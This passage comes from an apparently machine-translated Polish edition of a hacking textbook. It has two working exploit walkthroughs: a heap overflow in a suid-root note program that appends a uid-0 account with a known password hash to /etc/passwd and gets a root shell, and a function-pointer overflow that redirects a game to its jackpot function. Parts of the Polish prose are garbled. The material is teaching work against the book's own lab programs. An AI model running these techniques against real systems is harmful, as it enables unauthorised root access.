Ponieważ pierwszy bufor jest zakończony wartością null, maksymalna ilość danych, które można wprowadzić do tego bufora bez przepełnienie do następnego powinno wynosić 104 bajty.

reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104')

[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

[DEBUG] datafile @ 0x804a070: ''

[!!] Fatal Error in main() while opening file: No such file or directory

reader@hacking:~/booksrc $



Zgodnie z przewidywaniami, gdy wypróbowano 104 bajty, bajt kończący zero powoduje przepełnienie na początku pliku danych bufor. Powoduje to, że plik danych jest tylko pojedynczym bajtem zerowym, który oczywiście nie może być otwarty jako plik. Ale co, jeśli bufor datafile zostanie nadpisany czymś więcej niż bajtem zerowym?

reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104 . "testfile"')

[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile'

[DEBUG] datafile @ 0x804a070: 'testfile'

[DEBUG] file descriptor is 3

Note has been saved.

*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0804a008 ***

======= Backtrace: =========

/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]

/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]

./notetaker[0x8048916]

/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]

./notetaker[0x8048511]

======= Memory map: ========

08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker

08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker

0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]

b7d00000-b7d21000 rw-p b7d00000 00:00 0

b7d21000-b7e00000 ---p b7d21000 00:00 0

b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1

b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1

b7e99000-b7e9a000 rw-p b7e99000 00:00 0

b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so

b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so

b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so

b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0

b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0

b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so

b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so

bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

Aborted

reader@hack ing:~/booksrc $

Tym razem przepełnienie ma na celu nadpisanie bufora pliku danych za pomocą pliku testowego ciągów. Powoduje to, że program zapisuje do pliku testowego zamiast / var / notes, jak to pierwotnie zaprogramowano. Jednak gdy pamięć sterty zostanie zwolniona przez polecenie free (), wykryte zostaną błędy w nagłówkach sterty i program zostanie zakończony. Podobnie jak nadpisanie adresu zwrotnego z przepełnieniami stosu, istnieją punkty kontrolne w samej architekturze stosu. Najnowsza wersja glibc wykorzystuje funkcje zarządzania pamięcią sterty, które ewoluowały specjalnie w celu przeciwdziałania atakom związanym z rozsypywaniem sterty. Od wersji 2.2.5 funkcje te zostały przepisane w celu drukowania informacji debugowania i kończenia programu, gdy wykryją problemy z informacjami nagłówka sterty. To sprawia, że rozłączanie sterty w Linuksie jest bardzo trudne. Jednak ten konkretny exploit nie używa informacji z nagłówka sterty, aby wykonać swoją magię, więc do czasu wywołania free () program został już oszukany zapisywanie do nowego pliku z uprawnieniami roota.

reader@hacking:~/booksrc $ grep -B10 free notetaker.c

if(write(fd, buffer, strlen(buffer)) == -1) // Write note.

fatal("in main() while writing buffer to file");

write(fd, "\n", 1); // Terminate line.

// Closing file

if(close(fd) == -1)

fatal("in main() while closing file");

printf("Note has been saved.\n");

free(buffer);

free(datafile);

reader@hacking:~/booksrc $ ls -l ./testfile

-rw------- 1 root reader 118 2007-09-09 16:19 ./testfile

reader@hacking:~/booksrc $ cat ./testfile

cat: ./testfile: Permission denied

reader@hacking:~/booksrc $ sudo cat ./testfile

?

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAA

AAAAAAAAAtestfile

reader@hacking:~/booksrc $

Łańcuch jest czytany, dopóki nie zostanie napotkany bajt null, więc cały łańcuch zostanie zapisany do pliku jako userinput. Ponieważ jest to program suid root, plik, który jest tworzony, jest własnością root. Oznacza to również, że ponieważ nazwa pliku może być kontrolowana, dane mogą być dołączane do dowolnego pliku. Te dane mają jednak pewne ograniczenia; musi kończyć się kontrolowaną nazwą pliku, a także zostanie zapisana linia z ID użytkownika. Prawdopodobnie istnieje kilka sprytnych sposobów na wykorzystanie tego typu możliwości. Najbardziej oczywistym jest dołączenie czegoś do pliku / etc / passwd. Ten plik zawiera wszystkie nazwy użytkowników, identyfikatory i powłoki logowania dla wszystkich użytkowników systemu. Oczywiście jest to krytyczny plik systemowy, więc dobrze jest zrobić kopię zapasową, zanim zacznie się z nią zbytnio kłopotać.

reader@hacking:~/booksrc $ cp /etc/passwd /tmp/passwd.bkup reader@hacking:~/booksrc $ head /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

reader@hacking:~/booksrc $

Pola w pliku / etc / passwd są rozdzielane dwukropkami, pierwsze pole to nazwa logowania, następnie hasło, identyfikator użytkownika, identyfikator grupy, nazwa użytkownika, katalog domowy i na końcu powłoka logowania. Pola hasła są wypełnione znakiem x, ponieważ zaszyfrowane hasła są przechowywane w innym miejscu w pliku cienia. (Jednak to pole może zawierać zaszyfrowane hasło.) Ponadto wszelkie wpisy w pliku haseł o identyfikatorze użytkownika 0 będą miały uprawnienia root. Oznacza to, że celem jest dodanie dodatkowego wpisu z uprawnieniami root i znanym hasłem do pliku haseł. Hasło można zaszyfrować za pomocą jednokierunkowego algorytmu mieszania. Ponieważ algorytm jest jednokierunkowy, oryginalnego hasła nie można odtworzyć z wartości mieszania. Aby zapobiec atakom wyszukiwania, algorytm używa wartości salt, która po zmianie tworzy inną wartość skrótu dla tego samego hasła wejściowego. Jest to typowa operacja, a Perl ma funkcję crypt (), która ją wykonuje. Pierwszy argument to hasło, a drugi to wartość salt. To samo hasło z innym salt daje inne salt.

reader@hacking:~/booksrc $ perl -e 'print crypt("password", "AA"). "\n"'

AA6tQYSfGxd/A

reader@hacking:~/booksrc $ perl -e 'print crypt("password", "XX"). "\n"'

XXq2wKiyI43A2

reader@hacking:~/booksrc $

Zauważ, że wartość salt jest zawsze na początku wartości skrótu. Gdy użytkownik zaloguje się i wprowadzi hasło, system wyszuka zaszyfrowane hasło dla tego użytkownika. Używając wartości soli z przechowywanego zaszyfrowanego hasła, system wykorzystuje ten sam jednokierunkowy algorytm mieszający do zaszyfrowania dowolnego tekstu wpisanego przez użytkownika jako hasło. Na koniec system porównuje dwa skróty; jeśli są takie same, użytkownik musi wprowadzić poprawne hasło. Umożliwia to użycie hasła do uwierzytelniania bez konieczności przechowywania hasła w dowolnym miejscu w systemie. Użycie jednego z tych skrótów w polu hasła spowoduje, że hasło do konta będzie hasłem, niezależnie od użytej wartości soli. Wiersz do dołączenia do / etc / passwd powinien wyglądać mniej więcej tak:

myroot: XXq2wKiyI43A2: 0: 0: me: / root: / bin / bash

Jednak charakter tego szczególnego exploita przepełnienia sterty nie pozwoli, aby dokładna linia została zapisana w / etc / passwd, ponieważ łańcuch musi kończyć się na / etc / passwd. Jeśli jednak ta nazwa pliku zostanie jedynie dołączona na końcu wpisu, wpis pliku passwd będzie niepoprawny. Można to zrekompensować przez sprytne użycie symbolicznego linku do pliku, więc pozycja może kończyć się na / etc / passwd i nadal być prawidłową linią w pliku haseł. Oto jak to działa:

reader@hacking:~/booksrc $ mkdir /tmp/etc

reader@hacking:~/booksrc $ ln -s /bin/bash /tmp/etc/passwd

reader@hacking:~/booksrc $ ls -l /tmp/etc/passwd

lrwxrwxrwx 1 reader reader 9 2007-09-09 16:25 /tmp/etc/passwd -> /bin/bash

reader@hacking:~/booksrc $

Teraz / tmp / etc / passwd wskazuje na powłokę logowania / bin / bash. Oznacza to, że poprawną powłoką zgłoszeniową dla pliku haseł jest również / tmp / etc / passwd, co czyni następującą prawidłową linię pliku haseł:

myroot: XXq2wKiyI43A2: 0: 0: me: / root: / tmp / etc / passwd

Wartości tej linii muszą zostać nieco zmodyfikowane, aby część przed / etc / passwd miała dokładnie 104 bajty:

reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp"' | wc

-c

38

reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x50 .

":/root:/tmp"'

| wc -c

86

reader@hacking:~/booksrc $ gdb -q

(gdb) p 104 - 86 + 50

$1 = 68

(gdb) quit

reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .

":/root:/tmp"'

| wc -c

104

reader@hacking:~/booksrc $

Jeśli / etc / passwd zostanie dodany na końcu tego końcowego łańcucha (pogrubiony), powyższy ciąg zostanie dołączony na końcu pliku / etc / passwd. A ponieważ ta linia definiuje konto z uprawnieniami root'a z ustawionym hasłem, dostęp do tego konta i uzyskanie dostępu do niego nie będzie utrudniony, jak pokazano poniżej.

reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:"

. "A"x68 .

":/root:/tmp/etc/passwd"')

[DEBUG] buffer @ 0x804a008: 'myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAA

AAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'

[DEBUG] datafile @ 0x804a070: '/etc/passwd'

[DEBUG] file descriptor is 3

Note has been saved.

*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0804a008 ***

======= Backtrace: =========

/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]

/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]

./notetaker[0x8048916]

/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]

./notetaker[0x8048511]

======= Memory map: ========

08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker

08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker

0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]

b7d00000-b7d21000 rw-p b7d00000 00:00 0

b7d21000-b7e00000 ---p b7d21000 00:00 0

b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1

b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1

b7e99000-b7e9a000 rw-p b7e99000 00:00 0

b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so

b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so

b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so

b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0

b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0

b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so

b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so

bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

Aborted

reader@hacking:~/booksrc $ tail /etc/passwd

avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false

cupsys:x:106:113::/home/cupsys:/bin/false

haldaemon:x:107:114:Hardware abstraction layer,,,:/home/haldaemon:/bin/false

hplip:x:108:7:HPLIP system user,,,:/var/run/hplip:/bin/false

gdm:x:109:118:Gnome Display Manager:/var/lib/gdm:/bin/false

matrix:x:500:500:User Acct:/home/matrix:/bin/bash

jose:x:501:501:Jose Ronnick:/home/jose:/bin/bash

reader:x:999:999:Hacker,,,:/home/reader:/bin/bash

?

myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAA:/

root:/tmp/etc/passwd

reader@hacking:~/booksrc $ su myroot

Password:

root@hacking:/home/reader/booksrc# whoami

root

root@hacking:/home/reader/booksrc#

Powrót

15.07.2020

Przepełnione wskaźniki funkcji

Jeśli grałeś z programem game_of_chance.c wystarczająco, zdasz sobie sprawę, że podobnie jak w kasynie, większość gier jest statystycznie ważona na korzyść domu. To sprawia, że wygrywające kredyty są trudne, pomimo tego, jakie masz szczęście. Być może istnieje sposób na odrobinę szans. Ten program używa wskaźnika funkcji, aby zapamiętać ostatnią rozgrywkę. Wskaźnik ten jest przechowywany w strukturze użytkownika, która jest zadeklarowana jako zmienna globalna. Oznacza to, że cała pamięć dla struktury użytkownika jest przydzielana w segmencie bss.

From game_of_chance.c

// Custom user struct to store information about users

struct user {

int uid;

int credits;

int highscore;

char name[100];

int (*current_game) ();

};

...

// Global variables

struct user player; // Player struct

The name buffer in the user structure is a likely place for an overflow. This buffer is set by the input_name()

function, shown below:

// This function is used to input the player name, since

// scanf("%s", &whatever) will stop input at the first space.

void input_name() {

char *name_ptr, input_char='\n';

while(input_char == '\n') // Flush any leftover

scanf("%c", &input_char); // newline chars.

name_ptr = (char *) &(player.name); // name_ptr = player name's address

while(input_char != '\n') { // Loop until newline.

*name_ptr = input_char; // Put the input char into name field.

scanf("%c", &input_char); // Get the next char.

name_ptr++; // Increment the name pointer.

}

*name_ptr = 0; // Terminate the string.

}

Ta funkcja zatrzymuje tylko wprowadzanie znaku nowej linii. Nie ma nic, co by ją ograniczało do długości docelowego bufora nazw, co oznacza, że możliwe jest przepełnienie. Aby skorzystać z przepełnienia, musimy sprawić, aby program wywołał wskaźnik funkcji po nadpisaniu. Dzieje się tak w funkcji play_the_game (), która jest wywoływana, gdy z menu wybierana jest dowolna gra. Poniższy fragment kodu jest częścią kodu wyboru menu, służącego do wybierania i grania w grę. if((choice < 1) || (choice > 7))

printf("\n[!!] The number %d is an invalid selection.\n\n", choice);

else if (choice < 4) { // Otherwise, choice was a game of some sort.

if(choice != last_game) { // If the function ptr isn't set,

if(choice == 1) // then point it at the selected game

player.current_game = pick_a_number;

else if(choice == 2)

player.current_game = dealer_no_match;

else

player.current_game = find_the_ace;

last_game = choice; // and set last_game.

}

play_the_game(); // Play the game.

}

Jeśli last_game nie jest tym samym, co obecny wybór, wskaźnik funkcji current_game zostanie zmieniony na odpowiednią grę. Oznacza to, że aby program mógł wywołać wskaźnik funkcji bez nadpisywania go, należy najpierw uruchomić grę, aby ustawić zmienną last_game. reader@hacking:~/booksrc $ ./game_of_chance

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 70 credits] -> 1

[DEBUG] current_game pointer @ 0x08048fde

####### Pick a Number ######

This game costs 10 credits to play. Simply pick a number

between 1 and 20, and if you pick the winning number, you

will win the jackpot of 100 credits!

10 credits have been deducted from your account.

Pick a number between 1 and 20: 5

The winning number is 17

Sorry, you didn't win.

You now have 60 credits

Would you like to play again? (y/n) n

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 60 credits] ->

[1]+ Stopped ./game_of_chance

reader@hack ing:~/booksrc $

Możesz tymczasowo zawiesić bieżący proces, naciskając CTRL-Z. W tym momencie zmienna last_game została ustawiona na 1, więc przy następnym wyborze 1 wskaźnik funkcji zostanie po prostu wywołany bez zmiany. Wracając do powłoki, obliczamy odpowiedni bufor przepełnienia, który można później skopiować i wkleić jako nazwę. Rekompilacja źródła za pomocą symboli debugowania i użycie GDB do uruchomienia programu z punktem przerwania na main () pozwala nam eksplorować pamięć. Jak pokazuje wynik poniżej,

reader@hacking:~/booksrc $ gcc -g game_of_chance.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) break main

Breakpoint 1 at 0x8048813: file game_of_chance.c, line 41.

(gdb) run

Starting program: /home/reader/booksrc/a.out

Breakpoint 1, main () at game_of_chance.c:41

41 srand(time(0)); // Seed the randomizer with the current time.

(gdb) p player

$1 = {uid = 0, credits = 0, highscore = 0, name = '\0' < repeats 99 times >,

current_game = 0}

(gdb) x/x &player.name

0x804b66c < player+12 >: 0x00000000

(gdb) x/x &player.current_game

0x804b6d0 < player+112 >: 0x00000000

(gdb) p 0x804b6d0 - 0x804b66c

$2 = 100

(gdb) quit

The program is running. Exit anyway? (y or n) y

reader@hacking:~/booksrc $

Korzystając z tych informacji, możemy wygenerować bufor, który przepełni zmienną nazwy przy pomocy. To może być skopiowane i wklejone do interaktywnego programu Game of Chance, kiedy zostanie wznowione. Aby powrócić do zawieszonego procesu, po prostu wpisz fg, który jest krótki dla pierwszego planu.

reader@hacking:~/booksrc $ perl -e 'print "A"x100 . "BBBB" . "\n"'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAABBBB

reader@hacking:~/booksrc $ fg

./game_of_chance

5

Change user name

Enter your new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Your name has been changed.

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]

[You have 60 credits] -> 1

[DEBUG] current_game pointer @ 0x42424242

Segmentation fault

reader@hacking:~/booksrc $

Wybierz opcję menu 5, aby zmienić nazwę użytkownika i wklej w buforze przepełnienia. Spowoduje to nadpisanie wskaźnika funkcji za pomocą 0x42424242. Gdy opcja menu 1 zostanie ponownie wybrana, program ulegnie awarii, gdy spróbuje wywołać wskaźnik funkcji. Jest to dowód na to, że można kontrolować wykonanie; teraz wszystko, czego potrzeba, to poprawny adres do wstawienia zamiast BBBB. Polecenie nm wyświetla symbole w plikach obiektów. Może to służyć do wyszukiwania adresów różnych funkcji w programie.

reader@hacking:~/booksrc $ nm game_of_chance

0804b508 d _DYNAMIC

0804b5d4 d _GLOBAL_OFFSET_TABLE_

080496c4 R _IO_stdin_used

w _Jv_RegisterClasses

0804b4f8 d __CTOR_END__

0804b4f4 d __CTOR_LIST__

0804b500 d __DTOR_END__

0804b4fc d __DTOR_LIST__

0804a4f0 r __FRAME_END__

0804b504 d __JCR_END__

0804b504 d __JCR_LIST__

0804b630 A __bss_start

0804b624 D __data_start

08049670 t __do_global_ctors_aux

08048610 t __do_global_dtors_aux

0804b628 D __dso_handle

w __gmon_start__

08049669 T __i686.get_pc_thunk.bx

0804b4f4 d __init_array_end

0804b4f4 d __init_array_start

080495f0 T __libc_csu_fini

08049600 T __libc_csu_init

U __libc_start_main@@GLIBC_2.0

0804b630 A _edata

0804b6d4 A _end

080496a0 T _f ini

080496c0 R _fp_hw

08048484 T _init

080485c0 T _start

080485e4 t call_gmon_start

U close@@GLIBC_2.0

0804b640 b completed.1

0804b624 W data_start

080490d1 T dealer_no_match

080486fc T dump

080486d1 T ec_malloc

U exit@@GLIBC_2.0

08048684 T fatal

080492bf T find_the_ace

08048650 t frame_dummy

080489cc T get_player_data

U getuid@@GLIBC_2.0

08048d97 T input_name

08048d70 T jackpot

08048803 T main

U malloc@@GLIBC_2.0

U open@@GLIBC_2.0

0804b62c d p.0

U perror@@GLIBC_2.0

08048fde T pick_a_number

08048f23 T play_the_game

0804b660 B player

08048df8 T print_cards

U printf@@GLIBC_2.0

U rand@@GLIBC_2.0

U read@@GLIBC_2.0

08048aaf T register_new_player

U scanf@@GLIBC_2.0

08048c72 T show_highscore

U srand@@GLIBC_2.0

U strcpy@@GLIBC_2.0

U strncat@@GLIBC_2.0

08048e91 T take_wager

U time@@GLIBC_2.0

08048b72 T update_player_data

U write@@GLIBC_2.0

reader@hacking:~/booksrc $

Funkcja jackpot () jest wspaniałym celem tego exploita. Mimo że gra daje straszne szanse, jeśli wskaźnik funkcji current_game zostanie dokładnie nadpisany adresem funkcji jackpot (), nie musisz nawet grać w tę grę, aby wygrać kredyty. Zamiast tego, funkcja jackpot () zostanie po prostu wywołana bezpośrednio, wydając nagrodę 100 kredytów i przechylając szalę w kierunku gracza. Ten program pobiera dane wejściowe ze standardowego wejścia. Wybory menu mogą być zapisane w jednym buforze, który jest podłączony do standardowego wejścia programu. Wybory te zostaną wykonane tak, jakby zostały wpisane. W poniższym przykładzie wybierzesz pozycję menu 1, spróbujesz odgadnąć numer 7, wybierz n, gdy pojawi się prośba o ponowne odtworzenie, a na koniec wybierz pozycję menu 7, aby zakończyć.

reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 60 credits] ->

[DEBUG] current_game pointer @ 0x08048fde

####### Pick a Number ######

This game costs 10 credits to play. Simply pick a number

between 1 and 20, and if you pick the winning number, you

will win the jackpot of 100 credits!

10 credits have been deducted from your account.

Pick a number between 1 and 20: The winning number is 20

Sorry, you didn't win.

You now have 50 credits

Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 50 credits] ->

Thanks for playing! Bye.

reader@hacking:~/booksrc $

Ta sama technika może być użyta do napisania skryptu wszystkiego, co jest potrzebne do exploita. Następująca linia zagra raz w grę Wybierz numer, a następnie zmień nazwę użytkownika na 100 A, a następnie adres funkcji jackpot (). Spowoduje to przekroczenie wskaźnika funkcji current_game, więc gdy gra Wybierz numer zostanie odtworzona ponownie, funkcja jackpot () zostanie wywołana bezpośrednio.

reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\

x8d\x04\x08\n" . "1\nn\n" . "7\n"'

1

5

n

5

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAp?

1

n

7

reader@hack ing:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\

x8d\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 50 credits] ->

[DEBUG] current_game pointer @ 0x08048fde

####### Pick a Number ######

This game costs 10 credits to play. Simply pick a number

between 1 and 20, and if you pick the winning number, you

will win the jackpot of 100 credits!

10 credits have been deducted from your account.

Pick a number between 1 and 20: The winning number is 15

Sorry, you didn't win.

You now have 40 credits

Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 40 credits] ->

Change user name

Enter your new name: Your name has been changed.

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]

[You have 40 credits] ->

[DEBUG] current_game po inter @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 140 credits

Would you like to play again? (y/n) -=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]

[You have 140 credits] ->

Thanks for playing! Bye.

reader@hacking:~/booksrc $

Po potwierdzeniu, że ta metoda działa, można ją rozszerzyć, aby uzyskać dowolną liczbę punktów.

reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\

x8d\x04\x08\n" . "1\n" . "y\n"x10 . "n\n5\nJon Erickson\n7\n"' | ./

game_of_chance

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]

[You have 140 credits] ->

[DEBUG] current_game pointer @ 0x08048fde

####### Pick a Number ######

This game costs 10 credits to play. Simply pick a number

between 1 and 20, and if you pick the winning number, you

will win the jackpot of 100 credits!

10 credits have been deducted from your account.

Pick a number between 1 and 20: The winning number is 1

Sorry, you didn't win.

You now have 130 credits

Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]

[You have 130 credits] ->

Change user name

Enter your new name: Your name has been changed.

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]

[You have 130 credits] ->

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 230 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 330 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 430 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 530 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 630 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 730 credits

Would you like to play aga in? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 830 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 930 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 1030 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 1130 credits

Would you like to play again? (y/n)

[DEBUG] current_game pointer @ 0x08048d70

*+*+*+*+*+* JACKPOT *+*+*+*+*+*

You have won the jackpot of 100 credits!

You now have 1230 credits

